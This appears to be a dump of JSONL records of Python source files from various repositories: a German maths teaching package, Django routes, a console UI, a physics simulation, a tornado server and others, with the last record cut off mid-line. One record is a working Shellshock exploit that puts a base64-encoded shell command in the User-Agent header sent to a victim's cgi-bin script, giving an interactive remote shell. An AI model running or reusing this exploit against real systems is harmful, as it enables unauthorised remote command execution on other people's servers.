gebundene \n Methode (eine Funktion) hin, die zu ihrer Ausf\u00fchrung in Klammern ein-\n gefasste Parameter erwartet\t\t\n \"\"\")\n return\n\n if h == 13:\n print(\n \"\"\"\t\nBemerkungen f\u00fcr Programmierer / Entwickler\n\nZur Unterst\u00fctzung der Fehlersuche ist im Hauptprogramm die Variable _TEST\nvorgesehen, die im Quelltext ge\u00e4ndert werden kann; bei _TEST = True werden\nbei Fehlern die vollst\u00e4ndigen Python-Fehlermeldungen angezeigt\t\nDurch das zufall-Paket wird die Python-Sprache an einigen Stellen modifiziert\n(Umdefinition der Operatoren '^' und '|', Unterbinden der Zuweisung eines\nWertes an die Eigenschaft/Methode eines Objektes ('objekt.eigenschaft = wert'-\nKonstrukt), Verwenden der deutschen Umlaute in Bezeichnern u.a.m.). Bei \u00c4nde-\nrungen oder Erg\u00e4nzungen der zufall-Quelltexte d\u00fcrfen diese Modifizierungen nicht\nbenutzt werden. Ebenso ist es nicht ratsam, innerhalb eines zufall-Notebooks\neine allgemeine Python-Programmierung durchzuf\u00fchren\n\nAus der Sicht des Autors sollten die Schwerpunkte der weiteren Entwicklung \ndes Paketes sein:\t\t\n\n - Konfiguration der Jupyter-Oberfl\u00e4che entsprechend den Bed\u00fcrfnissen von \n Lehrern und Sch\u00fclern\\n\n - Vereinheitlichung der Schriftart und -gr\u00f6\u00dfe f\u00fcr Ausgaben\\n\t \n - Aufnahme weiterer statistischer Tests in das Paket\\n\n - Gestaltung der EreignisAlgebra-Klasse auf der Basis von logischen Aus-\n dr\u00fccken\\n\n - Verbesserung der Fehlererkennung und -mitteilung\\n\t \n - Bessere Verkn\u00fcpfung der Dokumentation mit den Programmen\\n\t \n - Eventuelle Anpassung an die SymEngine (nach deren Fertigstellung durch \n die Entwickler)\t \n \"\"\")\n return\n\t\t\t\n\t\t\t\n# ------------------------------\n# Hilfsgroessen f\u00fcr True / False\n# ------------------------------\n\nJa = ja = Mit = mit = True\nNein = nein = Ohne = ohne = False\n\t\t\n\n\t\t\n# --------------------------- \n# Hilfsklasse f\u00fcr Gleichungen \n# --------------------------- \n\nclass _Gleichung(ZufallsObjekt): \n\n def __new__(cls, *args): \n\n printmethod = '_latex'\n \n try:\n if not args:\n raise ZufallError(\"mindestens die linke Seite der Gleichung angeben\")\t\n if len(args) > 2:\n raise ZufallError(\"nur die beiden Seiten der Gleichung angeben\")\t\t\n lhs = args[0]\n rhs = 0\n if len(args) > 1:\n rhs = args[1]\n ve = importlib.import_module('agla.lib.objekte.vektor')\n Vektor = ve.Vektor\n if not ((is_zahl(lhs) or isinstance(lhs, Vektor)) and \n\t\t (is_zahl(rhs) or isinstance(rhs, Vektor))):\t\n raise ZufallError(\"nur arithmetische Ausdr\u00fccke oder Vektoren angeben\")\t\t\n return ZufallObjekt.__new__(cls, lhs, rhs)\n except ZufallError as e:\n print('zufall', str(e))\n return\n\t\t\t\n def __str__(self):\n return str(self.lhs) + \" = \" + str(self.rhs)\n\t\t\n def __repr__(self):\n return 'gleichung(' + repr(self.lhs) + ',' + repr(self.rhs) + ')'\n\t\t\n def _latex(self, printer):\t \n return latex(self.lhs) + '=' + latex(self.rhs)\t\t\n\t\t\n @property\n def lhs(self):\n return self.args[0]\n @property\t\t\n def rhs(self):\n return self.args[1]\n\t\t\n def __mul__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert als Faktor angeben')\n return\t\t\t\n return gleichung(other * self.lhs, other * self.rhs)\n\t\t\n def __rmul__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert als Faktor angeben')\n return\t\t\t\n return gleichung(other * self.lhs, other * self.rhs)\n\n def __truediv__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert angeben')\n return\t\t\t\n return gleichung(self.lhs / other, self.rhs / other)\n\t\t\n def __add__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert als Summand angeben')\n return\t\t\t\n return gleichung(other + self.lhs, other + self.rhs)\n\n def __radd__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert als Summand angeben')\n return\t\t\t\n return gleichung(other + self.lhs, other + self.rhs)\n\n def __neg__(self):\n return gleichung(-self.lhs, -self.rhs)\n\n def __pow__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert als Exponent angeben')\n return\t\t\t\n return gleichung(self.lhs**other, self.rhs**other)\n\n def __sub__(self, other):\n if not is_zahl(other):\n print('zufall: Zahlenwert angeben')\n return\t\t\t\n return gleichung(self.lhs - other, self.rhs - other)\n\n\t\t\n\t\t\t\n", "source": "HBOMAT/AglaUndZufall", "license": "Apache-2.0"}
+{"text": "# This technical data was produced for the U. S. Government under Contract No. W15P7T-13-C-F600, and\n# is subject to the Rights in Technical Data-Noncommercial Items clause at DFARS 252.227-7013 (FEB 2012)\n\nfrom geoevents.core.models import Setting\nimport json\n\n\ndef app_settings(request):\n \"\"\"Global values to pass to templates\"\"\"\n settings_dict = dict()\n settings = list()\n for obj in Setting.objects.all():\n settings_dict[obj.name.upper()] = obj.value\n settings += [\n {\n 'name': obj.name,\n 'value': obj.value\n }\n ]\n settings_dict['settings'] = json.dumps(settings)\n return dict(settings_dict)", "source": "mcenirm/geoevents", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n\nimport urwid\n\nfrom blinker import signal\n\nfrom plait.app.base import PlaitApp\nfrom plait.frame import ConsoleFrame\nfrom plait.tabs import VerticalTabs\n\nclass WorkerLog(urwid.ListBox):\n def __init__(self):\n walker = urwid.SimpleListWalker([])\n urwid.ListBox.__init__(self, walker)\n\n def write(self, text):\n if text != \"\\n\" and isinstance(text, basestring):\n text = text.replace(\"\\n\", \"\")\n new_text = urwid.Text(text)\n self.body.append(new_text)\n try:\n self.body.set_focus(self.body.focus + 1)\n except: pass\n\n def add(self, content):\n self.body.append(urwid.Text(content))\n try:\n self.body.set_focus(self.body.focus + 1)\n except: pass\n\nclass ConsoleApp(PlaitApp):\n\n default_palette = (\n ('reversed', 'standout', ''),\n )\n\n def __init__(self, title=\"plait\"):\n self.tabs = VerticalTabs()\n self.root = ConsoleFrame(title)\n self.screen = urwid.raw_display.Screen(input=open('/dev/tty', 'r'))\n self.loop = urwid.MainLoop(\n self.root, self.default_palette,\n screen=self.screen,\n handle_mouse=False, unhandled_input=self.unhandled_input,\n event_loop=urwid.TwistedEventLoop())\n self.loop.screen.set_terminal_properties(colors=256)\n self.show(self.tabs, \"Remote task hosts\")\n self.failed_workers = []\n super(ConsoleApp, self).__init__()\n\n def run(self, runner):\n runner.run()\n for host in runner.hosts:\n self.tabs.addTab(host, WorkerLog())\n self.loop.run()\n\n def stop(self):\n raise urwid.ExitMainLoop\n\n def unhandled_input(self, key):\n if key.lower() == 'q':\n self.stop()\n self.loop.draw_screen()\n return key\n\n def show(self, w, header_text=\"\"):\n self.root.show(w, header_text=header_text)\n\n def on_worker_stdout(self, worker, data=None):\n tab = self.tabs.tabs[worker.label]\n for line in data.split(\"\\n\"):\n tab.content.write(line)\n self.loop.draw_screen()\n\n def on_worker_stderr(self, worker, data=None):\n tab = self.tabs.tabs[worker.label]\n tab.content.write(data)\n self.loop.draw_screen()\n\n def on_worker_connect(self, worker):\n tab = self.tabs.tabs[worker.label]\n tab.set_cyan()\n self.loop.draw_screen()\n\n def on_worker_finish(self, worker):\n tab = self.tabs.tabs[worker.label]\n if worker not in self.failed_workers:\n tab.set_green()\n self.loop.draw_screen()\n\n def on_worker_failure(self, worker, failure=None):\n if worker.label not in self.tabs.tabs:\n worker.label = \"localhost\"\n tab = self.tabs.tabs[worker.label]\n tab.content.write(repr(failure))\n tab.set_red()\n self.failed_workers.append(worker)\n self.loop.draw_screen()\n\n def on_task_start(self, worker, task=None):\n tab = self.tabs.tabs[worker.label]\n task_template = u\"\u21aa {task.tag}\".format(task=task).encode('utf8')\n task_header = ('reversed', task_template)\n tab.content.write(task_header)\n self.loop.draw_screen()\n\n def on_task_failure(self, worker, task=None, failure=None):\n tab = self.tabs.tabs[worker.label]\n tab.content.write(str(failure))\n tab.set_orange()\n self.failed_workers.append(worker)\n self.loop.draw_screen()\n\n def on_task_finish(self, worker, task=None, result=None):\n if result:\n tab = self.tabs.tabs[worker.label]\n tab.content.write(str(result))\n self.loop.draw_screen()\n\n", "source": "dustinlacewell/plait", "license": "MIT"}
+{"text": "from molecules.dna_sequence import DNASequence\n\n\nclass Primer:\n \"\"\"\n Represent a Primer DNA Sequence which can be attached to DNA sequence in order to mark specific\n segment in the DNA sequence.\n \"\"\"\n\n def __init__(self, searched_sequence):\n \"\"\"\n Initialize Primer sequence.\n\n :param searched_sequence: DNA Sequence to search.\n \"\"\"\n self.__searched_sequence = searched_sequence\n\n @property\n def searched_sequence(self):\n return self.__searched_sequence\n\n def try_attach_to_dna_sequence(self, dna_sequence):\n \"\"\"\n Try attach to a given DNA Sequence.\n\n :param dna_sequence: DNA Sequence to try attach to.\n :return: The index in the DNA Sequence where the attachment occurred, Otherwise None.\n \"\"\"\n if not isinstance(dna_sequence, DNASequence):\n raise ValueError('DNA Sequence given is not instance of DNASequence.')\n\n # Mark if attachment point found\n found_attachment_point = False\n\n # Search the complement sequence of the search sequence in the DNA sequence\n complement_search_sequence = [DNASequence.complement_table.get(base) for base in self.__searched_sequence]\n\n # Current index navigated\n current_index = 0\n\n # Iterate all sub sequences in the DNA sequence to find the complement sequence of the searched sequence\n while current_index <= dna_sequence.length - len(self.__searched_sequence):\n\n # If the complement sequence of the search sequence is found, break and return the index\n if dna_sequence.bases[current_index: current_index + len(self.__searched_sequence)] ==\\\n complement_search_sequence:\n found_attachment_point = True\n break\n\n current_index += 1\n\n # If found attachment point, return it\n if found_attachment_point:\n return current_index\n\n return None\n\n def __eq__(self, other):\n \"\"\"\n Equality checking of 2 Primers.\n\n :param other: Primer object.\n :return: True if both Primers represents the same search sequence, Otherwise False.\n \"\"\"\n return isinstance(other, self.__class__) and self.searched_sequence == other.searched_sequence\n", "source": "shakedmanes/molecular-computation", "license": "MIT"}
+{"text": "from django.conf.urls import url\nfrom django.contrib.auth.decorators import login_required\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.utilities_index, name='index'),\n url(r'^gc_ms$', views.gcms_home, name='gc_ms_home'),\n url(r'^gc_ms/parse$', views.gcms_parse, name='parse_gc_ms'),\n url(r'^gc_ms/merge$', views.gcms_merge, name='merge_gc_ms'),\n url(r'^gc_ms/export$', views.gcms_export, name='export_gc_ms'),\n url(r'^proteomics$', views.skyline_home, name='proteomics_home'),\n url(r'^proteomics/parse$', views.skyline_parse, name='parse_skyline'),\n url(r'^cytometry/$', login_required(views.cytometry_home), name='cytometry_home'),\n url(r'^cytometry/parse/$', login_required(views.cytometry_parse), name=\"cytometry_parse\"),\n url(r'^cytometry/import/$', login_required(views.cytometry_import), name=\"cytometry_import\"),\n]\n", "source": "TeselaGen/jbei-edd", "license": "BSD-3-Clause-LBNL"}
+{"text": "\"\"\"Enforce adding a pip install statement in the notebook.\n\nIn the `compwa-org repo _`, notebooks\nshould specify which package versions should be used to run the notebook. This\nhook checks whether a notebook has such install statements and whether they\ncomply with the expected formatting.\n\"\"\"\n\nimport argparse\nimport sys\nfrom typing import List, Optional, Sequence\n\nimport nbformat\n\nfrom .errors import PrecommitError\n\n__PIP_INSTALL_STATEMENT = \"%pip install -q \"\n\n\ndef check_pinned_requirements(filename: str) -> None:\n notebook = nbformat.read(filename, as_version=nbformat.NO_CONVERT)\n for cell in notebook[\"cells\"]:\n if cell[\"cell_type\"] != \"code\":\n continue\n source: str = cell[\"source\"]\n src_lines = source.split(\"\\n\")\n if len(src_lines) == 0:\n continue\n src_lines = list(map(lambda s: s.strip(\"\\\\\"), src_lines))\n cell_content = \"\".join(src_lines)\n if not cell_content.startswith(__PIP_INSTALL_STATEMENT):\n continue\n __check_install_statement(filename, cell_content)\n __check_requirements(filename, cell_content)\n __check_metadata(filename, cell[\"metadata\"])\n return\n raise PrecommitError(\n f'Notebook \"{filename}\" does not contain a pip install cell of the'\n f\" form {__PIP_INSTALL_STATEMENT}some-package==0.1.0 package2==3.2\"\n )\n\n\ndef __check_install_statement(filename: str, install_statement: str) -> None:\n if not install_statement.startswith(__PIP_INSTALL_STATEMENT):\n raise PrecommitError(\n f\"First shell cell in notebook {filename} does not start with\"\n f\" {__PIP_INSTALL_STATEMENT}\"\n )\n if install_statement.endswith(\"/dev/null\"):\n raise PrecommitError(\n \"Remove the /dev/null from the pip install statement in notebook\"\n f\" {filename}\"\n )\n\n\ndef __check_requirements( # noqa: R701\n filename: str, install_statement: str\n) -> None:\n package_listing = install_statement.replace(__PIP_INSTALL_STATEMENT, \"\")\n requirements = package_listing.split(\" \")\n if len(requirements) == 0:\n raise PrecommitError(\n f'At least one dependency required in install cell of \"{filename}\"'\n )\n for requirement in requirements:\n requirement = requirement.strip()\n if not requirement:\n continue\n if requirement.startswith(\"git+\"):\n continue\n if \"==\" not in requirement:\n raise PrecommitError(\n f'Install cell in notebook \"{filename}\" contains a'\n f\" requirement without == ({requirement})\"\n )\n requirements_lower = [\n r.lower() for r in requirements if not r.startswith(\"git+\")\n ]\n if sorted(requirements_lower) != requirements_lower:\n sorted_requirements = \" \".join(sorted(requirements))\n raise PrecommitError(\n f'Requirements in notebook \"{filename}\"'\n \" are not sorted alphabetically. Should be:\\n\\n \"\n f\" {sorted_requirements}\"\n )\n\n\ndef __check_metadata(filename: str, metadata: dict) -> None:\n source_hidden = metadata.get(\"jupyter\", {}).get(\"source_hidden\")\n if not source_hidden:\n raise PrecommitError(\n f'Install cell in notebook \"{filename}\" is not hidden'\n )\n tags = metadata.get(\"tags\")\n expected_tag = \"hide-cell\"\n if tags is None or expected_tag not in tags:\n raise PrecommitError(\n f'Install cell in notebook \"{filename}\" should have tag'\n f' \"{expected_tag}\"'\n )\n if \"remove-cell\" in tags:\n raise PrecommitError(\n f'Install cell in notebook \"{filename}\" has tag \"remove-cell\"'\n )\n\n\ndef main(argv: Optional[Sequence[str]] = None) -> int:\n parser = argparse.ArgumentParser(__doc__)\n parser.add_argument(\"filenames\", nargs=\"*\", help=\"Filenames to check.\")\n args = parser.parse_args(argv)\n\n errors: List[PrecommitError] = []\n for filename in args.filenames:\n try:\n check_pinned_requirements(filename)\n except PrecommitError as exception:\n errors.append(exception)\n if errors:\n for error in errors:\n error_msg = \"\\n \".join(error.args)\n print(error_msg)\n return 1\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n", "source": "ComPWA/repo-maintenance", "license": "BSD-3-Clause"}
+{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport json\nimport os\nimport regex as re\n\nfontmap_directory = os.path.dirname(__file__) + '/fontmaps/'\nfontmaps = {}\n\nfor font in ['JG_Pahawh_Third_Version', 'JG_Pahawh_Final_Version']:\n fontmaps['{}.ttf'.format(font)] = json.load(open(fontmap_directory + '{}.json'.format(font)))\n\ndef _decode_Myanmar1(string):\n string = string.replace('\\u1039\\u101a', '\\u103b')\n string = string.replace('\\u1039\\u101b', '\\u103c')\n string = string.replace('\\u1039\\u101d', '\\u103d')\n string = string.replace('\\u1039\\u101f', '\\u103e')\n string = re.sub(r'\\u1004\\u1039([\\u1000-\\u1021\\u1025])', '\\u1004\\u103a\\u1039\\g<1>', string)\n string = string.replace('\\u101e\\u1039\\u101e', '\\u103f')\n string = re.sub(r'([\\u1036-\\u1038])(\\u1039)', '\\g<2>\\g<1>', string)\n string = re.sub(r'\\u1039(?![\\u1000-\\u1003\\u1005-\\u1008\\u100b\\u100c\\u100f-\\u1019\\u101c])', '\\u103a', string)\n string = re.sub(r'([\\u1001\\u1002\\u1004\\u1012\\u1015\\u101d])\\u102c', '\\g<1>\\u102b', string)\n string = re.sub(r'([\\u102f\\u1030])([\\u102d\\u102e\\u1032])', '\\g<2>\\g<1>', string)\n string = re.sub(r'(\\u1036)(\\u1037)', '\\g<2>\\g<1>', string)\n string = re.sub(r'[\\u200c\\u200d]', '', string)\n return string\n\ndef decode(string, font):\n if font == 'Myanmar1.ttf': return _decode_Myanmar1(string)\n output = ''\n for c in string:\n try:\n for char in fontmaps[font][hex(ord(c))].split():\n output += (chr(int(char, 16)))\n except KeyError:\n output += c\n return output\n\n", "source": "longnow/panlex-tools", "license": "MIT"}
+{"text": "#!/usr/bin/python\n\n# python shellshock_shell.py 192.168.56.1\n# $ id\n# uid=48(apache) gid=48(apache) groups=48(apache)\n# $ pwd\n# /var/www/cgi-bin\n\nimport requests, sys\nfrom base64 import b64encode\n\nvictim_ip = sys.argv[1]\n\nwhile True:\n command = b64encode(raw_input('$ ').strip())\n headers = {\n 'User-Agent': '() { :; }; echo \\'Content-type: text/html\\'; echo; export PATH=$PATH:/usr/bin:/bin:/sbin; echo \\'%s\\' | base64 -d | sh 2>&1' % command\n }\n\n print requests.get('http://victim_ip/cgi-bin/cat', headers=headers).text.strip()", "source": "galletitaoreo/PythonPentest", "license": "MIT"}
+{"text": "# -*- coding: UTF-8 -*-\nfrom visual import*\n'''\n----\n To achieve great things, two things are needed;\n a plan, and not quite enough time. -- Leonard Bernstein\n----\n\nAlgorithm:\n1. initialize:\n class wall: generate 1 piece of wall, capable of moving\n also good for calculating pressure and force etc.\n\n2. on update:\n delete balls which are out of range\n add N balls according to flow rate\n\n get balls bounced off by the wall\n get balls bounced by one another\n change their speed\n update position of the ball according to speed\n\n calculate force by (momentum changed)/(time passed)\n'''\n\nclass Wall(): # A piece of wall, makes up class Container\n\n def __init__(self, wall_list, v=vector(0,0,0)):\n self.wall_list = vectorfy(wall_list)\n self.visual = curve(pos=wall_list)\n self.v = vector(v)\n self.stored_momentum = vector((0, 0, 0))\n\n def update_pos(self, dt):\n for point in self.wall_list:\n point[0] += self.v[0] * dt\n point[1] += self.v[1] * dt\n self.visual.pos = self.wall_list\n\n def get_force(self, passed_time):\n re = self.stored_momentum / passed_time\n self.stored_momentum = vector((0, 0, 0))\n return re\n\n\ndef dist(x1, y1, x2, y2):\n return sqrt((x1 - x2)**2 + (y1 - y2)**2)\n\n\ndef reflect(w, v, w_v): # ball hit wall\n '''\n w,v must be list/array/vector with 2 numbers\n '''\n w, v, w_v = vector(w), vector(v), vector(w_v)\n v = v - w_v # \u76f8\u5c0d\u901f\u5ea6\n f = vector(-w[1], w[0], 0) # \u6cd5\u5411\u91cf\n unit_f = f / abs(f) # \u6cd5\u5411\u91cf\u7684\u55ae\u4f4d\u5411\u91cf\n re = v + abs(dot(v, f) / abs(f)) * unit_f * 2\n\n if abs(abs(re) - abs(v)) <= 0.00001 * abs(v): # small number to fix floating point stuff\n if dot(v, f) < 0:\n return re + w_v\n else:\n #print('!!!wrong side!!!')\n return v\n else:\n #print(\"back hit\")\n w = -w\n f = vector(-w[1], w[0], 0) # \u6cd5\u5411\u91cf\n unit_f = f / abs(f) # \u6cd5\u5411\u91cf\u7684\u55ae\u4f4d\u5411\u91cf\n if dot(v, f) < 0:\n re = v + abs(dot(v, f) / abs(f)) * unit_f * 2\n return re + w_v\n else:\n #print('!!!!!!!!!!!!!!!!false hit!!!!!!!!!!!!!!!')\n return v\n\n\ndef checkhit(w1, w2, b, r):\n wx1, wy1 = w1[0], w1[1]\n wx2, wy2 = w2[0], w2[1]\n bx, by = b[0], b[1]\n area = 0.5 * abs(wx1 * wy2 + wx2 * by + bx * wy1 -\n wy1 * wx2 - wy2 * bx - by * wx1)\n wall = sqrt((wx1 - wx2)**2 + (wy1 - wy2)**2)\n # (2*area/wall)<=r : distance to wall <= radius\n # (dist(bx,by,wx1,wy1)<=r or dist(bx,by,wx2,wy2)<=r) : hit edge\n # and not(dist(bx,by,wx1,wy1)>wall or dist(bx,by,wx2,wy2)>wall) : make\n # sure hit in the middle, not outside\n if ((2 * area / wall) <= r or (dist(bx, by, wx1, wy1) <= r or dist(bx, by, wx2, wy2) <= r)) and not(dist(bx, by, wx1, wy1) > wall or dist(bx, by, wx2, wy2) > wall):\n return True\n else:\n return False\n\n\ndef vcollision(a1p, a2p, a1v, a2v): # ball hit ball\n v1prime = a1v - (a1p - a2p) * sum((a1v - a2v) *\n (a1p - a2p)) / sum((a1p - a2p)**2)\n v2prime = a2v - (a2p - a1p) * sum((a2v - a1v) *\n (a2p - a1p)) / sum((a2p - a1p)**2)\n return v1prime, v2prime\n\n\ndef vectorfy(points):\n for i in range(len(points)):\n points[i] = vector(points[i])\n return points\n", "source": "ChenKB91/BouncyBall", "license": "MIT"}
+{"text": "\"\"\"Test app with multiple hierarchy levels above the actual models.py file\"\"\"\n", "source": "nakarinh14/django-haystack", "license": "BSD-3-Clause"}
+{"text": "from django.conf.urls import url\r\nfrom . import views\r\n\r\nurlpatterns = [\r\nurl(r'^weather$', views.setWeather, name='setWeather'),\r\nurl(r'^getRecords$', views.serviceRecord, name='getRecords'),\r\nurl(r'^statistics$', views.statistics, name='statistics'),\r\n]", "source": "CriminalProject/Project2", "license": "Unlicense"}
+{"text": "from PyQt5.Qt import QDialog\n\nfrom ..ui import UiDialogCombo\n\n\nclass DialogCombo(QDialog, UiDialogCombo):\n def __init__(self, parent, title, content, selections):\n QDialog.__init__(self, parent)\n self.title = title\n self.content = content\n self.selections = selections\n\n self.setupUi(self)\n self.setFixedSize(self.width(), self.height())\n self._init()\n\n def _init(self):\n self._init_dialog()\n self._init_content()\n self._init_selections()\n\n def _init_dialog(self):\n self.setWindowTitle(self.title)\n\n def _init_content(self):\n self.label_content.setWordWrap(True)\n self.label_content.setText(self.content)\n\n new_height = self.label_content.sizeHint().height()\n hdelta = new_height - self.label_content.height()\n\n self.label_content.setFixedHeight(new_height)\n self.combo_selection.setGeometry(\n self.combo_selection.x(), self.combo_selection.y() + hdelta,\n self.combo_selection.width(), self.combo_selection.height(),\n )\n self.button_next.setGeometry(\n self.button_next.x(), self.button_next.y() + hdelta,\n self.button_next.width(), self.button_next.height(),\n )\n self.setFixedHeight(self.height() + hdelta)\n\n def _init_selections(self):\n self.combo_selection.clear()\n for item in self.selections:\n self.combo_selection.addItem(item)\n\n self.combo_selection.setCurrentIndex(0)\n\n def selected(self) -> str:\n index = self.combo_selection.currentIndex()\n return self.combo_selection.itemText(index)\n\n @classmethod\n def get_selection(cls, parent, title, content, selections):\n dialog = cls(parent, title, content, selections)\n if dialog.exec() == QDialog.Accepted:\n return dialog.selected(), True\n else:\n return None, False\n", "source": "HansBug/dgdvapp", "license": "Apache-2.0"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nSciPlot-PyQt: Publication-ready scientific plotting for Python\n==============================================================\n\nSciPlot-PyQt (aka SciPlot) is a user-interface/matplotlib wrapper built with \nPyQt5 that allows interactive plotting through an embedded matplotlib canvas. \nIt enables fast and easy publication-ready plots and images:\n \n * Interactive plotting\n * Theme and style editing (TODO)\n * Figure saving and opening for later editing (TODO)\n \nSupported Plot Types\n---------------------\nLine plots : plot\n\nBar plots : bar, hist\n\nPolycollections : fill_between\n\nImages : imshow\n\"\"\"\n\nimport sys as _sys\nimport os as _os\nimport pkg_resources as _pkg_resources\n\nfrom . import sciplotUI\n\n_sys.path.append(_os.path.abspath('../'))\n\ntry:\n __version__ = _pkg_resources.require(\"sciplot-pyqt\")[0].version\nexcept:\n pass\n \n# __version__ = '0.2.2'\n\n# __all__ = ['SciPlotUI']\n\n# from .sciplotUI import SciPlotUI as main\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "import locale\nlocale.setlocale(locale.LC_ALL, \"en_US.UTF-8\")\n\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.web\nimport os\nimport tornado.options\nimport json\nimport ipaddress\nimport functools\nimport subprocess\nimport user_agents\nfrom collections import namedtuple\n\nimport models\nimport dispatch\nimport endpoints\nimport api_endpoints\nimport enums\nimport starlight\nimport analytics\nimport webutil\nfrom starlight import private_data_path\n\ndef early_init():\n os.chdir(os.path.dirname(os.path.realpath(__file__)))\n\n if not os.environ.get(\"DISABLE_HTTPS_ENFORCEMENT\", \"\") and not os.environ.get(\"DEV\", \"\"):\n # production mode: force https usage due to local storage issues\n # also we don't want the NSA knowing you play chinese cartoon games\n def _swizzle_RequestHandler_prepare(self):\n if self.request.protocol != \"https\":\n self.redirect(\n \"https://{0}{1}\".format(self.request.host, self.request.uri))\n tornado.web.RequestHandler.prepare = _swizzle_RequestHandler_prepare\n\n if os.environ.get(\"BEHIND_CLOUDFLARE\") == \"1\":\n cloudflare_ranges = []\n\n with open(\"cloudflare.txt\", \"r\") as cf:\n for line in cf:\n cloudflare_ranges.append(ipaddress.ip_network(line.strip()))\n\n _super_RequestHandler_prepare2 = tornado.web.RequestHandler.prepare\n\n def _swizzle_RequestHandler_prepare2(self):\n for net in cloudflare_ranges:\n if ipaddress.ip_address(self.request.remote_ip) in net:\n if \"CF-Connecting-IP\" in self.request.headers:\n self.request.remote_ip = self.request.headers[\n \"CF-Connecting-IP\"]\n break\n _super_RequestHandler_prepare2(self)\n\n tornado.web.RequestHandler.prepare = _swizzle_RequestHandler_prepare2\n\n _super_RequestHandler_prepare3 = tornado.web.RequestHandler.prepare\n def _swizzle_RequestHandler_prepare3(self):\n self.request.is_low_bandwidth = 0\n if \"User-Agent\" in self.request.headers:\n ua = user_agents.parse(self.request.headers[\"User-Agent\"])\n if ua.is_mobile or ua.is_tablet:\n self.request.is_low_bandwidth = 1\n\n _super_RequestHandler_prepare3(self)\n tornado.web.RequestHandler.prepare = _swizzle_RequestHandler_prepare3\n\ndef main():\n starlight.init()\n early_init()\n in_dev_mode = os.environ.get(\"DEV\")\n image_server = os.environ.get(\"IMAGE_HOST\", \"\")\n tornado.options.parse_command_line()\n application = tornado.web.Application(dispatch.ROUTES,\n template_path=\"webui\",\n static_path=\"static\",\n image_host=image_server,\n debug=in_dev_mode,\n is_dev=in_dev_mode,\n\n tle=models.TranslationEngine(starlight),\n enums=enums,\n starlight=starlight,\n tlable=webutil.tlable,\n webutil=webutil,\n analytics=analytics.Analytics(),\n # Change every etag when the server restarts, in case we change what the output looks like.\n instance_random=os.urandom(8))\n http_server = tornado.httpserver.HTTPServer(application, xheaders=1)\n\n addr = os.environ.get(\"ADDRESS\", \"0.0.0.0\")\n port = int(os.environ.get(\"PORT\", 5000))\n\n http_server.listen(port, addr)\n print(\"Current APP_VER:\", os.environ.get(\"VC_APP_VER\",\n \"1.9.1 (warning: Truth updates will fail in the future if an accurate VC_APP_VER \"\n \"is not set. Export VC_APP_VER to suppress this warning.)\"))\n print(\"Ready.\")\n tornado.ioloop.IOLoop.current().start()\n\nif __name__ == \"__main__\":\n main()\n", "source": "summertriangle-dev/sparklebox", "license": "Unlicense"}
+{"text": "import sys\n\nimport click\n\nfrom api.google import GoogleTranslator\nfrom api.weblio import WeblioTranslator\n\n\n_translators = {\n 'google': GoogleTranslator,\n 'weblio': WeblioTranslator,\n}\n\n\n@click.command()\n@click.option('--text')\n@click.option('--from', 'source')\n@click.option('--to', 'target')\n@click.option('--api', default='weblio')\ndef main(text, source, target, api):\n if api not in _translators:\n print('Error: API \"%s\" is not supported.' % api)\n sys.exit(1)\n print(_translators[api]().translate(text, source, target))\n\n\nif __name__ == '__main__':\n main()\n\n\n# EOF\n", "source": "gitcrtn/translate", "license": "MIT"}
+{"text": "# Copyright 2018 Jan Verbeek \n#\n# Permission to use, copy, modify, and distribute this software for any\n# purpose with or without fee is hereby granted, provided that the above\n# copyright notice and this permission notice appear in all copies.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n\"\"\"A wrapper around subprocess for simple function-like process calling.\n\nThe main access point is the mocksh.sh object.\n\nExamples:\n >>> from mocksh import sh\n >>> sh.echo(\"Hello, world\")\n Hello, world\n \n >>> str(sh.echo.capture_(\"Hello, world\"))\n 'Hello, world\\n'\n >>> list(sh.seq.capture_(3))\n ['1', '2', '3']\n >>> sh.fortune.pipe_().cowsay()\n ______________________________________\n / Are you making all this up as you go \\\n \\ along? /\n --------------------------------------\n \\ ^__^\n \\ (oo)\\_______\n (__)\\ )\\/\\\n ||----w |\n || ||\n | cowsay>\n\nFor more, see README.rst.\n\"\"\"\n\nimport errno\nimport os\nimport signal\nimport sys\n\ntry:\n from time import monotonic as _time # type: ignore\nexcept ImportError:\n from time import time as _time\n\nimport subprocess\nfrom subprocess import PIPE, STDOUT\nif sys.version_info >= (3, 3):\n from subprocess import DEVNULL\n\nPY3 = sys.version_info >= (3,)\n\nMYPY = False\nif MYPY:\n from types import TracebackType # noqa: F401\n from typing import (Any, Dict, IO, Iterator, List, Mapping, # noqa: F401\n NoReturn, Optional, Sequence, Text,\n TextIO, Tuple, Type, Union)\n if sys.version_info >= (3, 6):\n StrTypes = Union[Text, bytes, os.PathLike]\n else:\n StrTypes = Union[Text, bytes]\n\n if PY3:\n StreamType = TextIO\n else:\n StreamType = IO[str]\n\n__all__ = ['CommandError', 'Process', 'Command', 'sh', 'PIPE', 'STDOUT',\n 'DEVNULL']\n\n_STR_TYPES = (str, bytes) # type: Tuple[Type, ...]\nif not PY3:\n _STR_TYPES = (str, unicode) # noqa: F821\nelif sys.version_info >= (3, 6):\n _STR_TYPES = (str, 